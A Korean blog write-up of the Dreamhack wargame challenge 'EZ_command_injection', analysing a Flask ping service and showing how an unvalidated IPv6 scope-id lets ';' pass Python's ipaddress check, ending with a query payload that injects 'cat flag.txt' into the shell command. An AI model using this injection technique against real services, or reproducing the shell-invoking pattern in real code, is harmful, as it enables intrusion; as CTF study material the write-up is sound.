EZ_command_injection

mercure·2024년 7월 25일
0

Dreamhack

목록 보기
17/18

Command injection

코드분석

#!/usr/bin/env python3
import subprocess
import ipaddress
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/ping', methods=['GET'])
def ping():
    host = request.args.get('host', '')
    try:
        addr = ipaddress.ip_address(host)
    except ValueError:
        error_msg = 'Invalid IP address'
        print(error_msg)
        return render_template('index.html', result=error_msg)

    cmd = f'ping -c 3 {addr}'
    try:
        output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8)
        return render_template('index.html', result=output.decode('utf-8'))
    except subprocess.TimeoutExpired:
        error_msg = 'Timeout!!!!'
        print(error_msg)
        return render_template('index.html', result=error_msg)
    except subprocess.CalledProcessError:
        error_msg = 'An error occurred while executing the command'
        print(error_msg)
        return render_template('index.html', result=error_msg)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

/ping 경로로 진입시, get으로 host값을 받아 ip_address함수로 ip값으로 변환하여 ping을 전송한다.
위 코드에서 ip_address이외에 사용자 입력으로 받는게 없기 때문에 ip_address함수를 분석해 보았다.

아래의 주소를 참고하여 ip_address함수의 변환 과정과 테스트를 진행한 결과
https://docs.python.org/3/library/ipaddress.html#module-ipaddress

import ipaddress

print(ipaddress.ip_address('8.8.8.8'))
try:
    print(ipaddress.ip_address('8.8.8.8;'))
except:
    pass

print(ipaddress.ip_address('fe80::1234'))

try:
    print(ipaddress.ip_address('fe80:;:1234'))
except:
    pass

print(ipaddress.ip_address('fe80::1234%;'))


ip주소 변환 과정에서 ipv4나 ipv6에 특수문자나 다른 기호가 있으면 반환을 하지 않는다. 따라서 주소 안에 ;를 넣는 방법은 함수자체적으로 걸러낼 수 있으나 ipv6에서 Scope-id를 사용한다면 ;를 넣고도 함수가 ;를 반환하게 만들 수 있었다.

ipv6

  • Scope_ID
    네트워크 인터페이스를 식별하는 문자열
    ex) fe80::1%eth0 -> fe80::1 주소가 eth0라는 네트워크 인터페이스에 속하는 것을 표시

ip_address함수는 %뒤의 문자열에 대해 검증을 하지 않는다.

  • 명령이 유효한 경우 cmd를 쉘을 통해 실행하여 결과값을 내놓는다.
  • 명령후 8초가 경과하면 timeout
  • 명령후 오류 발생시 error_msg를 받는다.

취약점

  • bash쉘을 통해 명령어를 실행
  • 입력값 검증 없음
  • ip_address 함수

HTTP

  • GET 요청에서는 URL의 끝에 ?와 함께 쿼리 문자열을 포함시켜 데이터를 전송
  • POST 요청에서는 데이터가 URL이 아니라 요청 본문(Body)에 포함

위는 GET요청으로 처리하기 때문에 URL에 아래의 내용을 삽입하면 flag값을 확인 할 수 있다.

/ping?host=::fe:1%;cat%20flag.txt

profile
하루에 한걸음씩

0개의 댓글

관련 채용 정보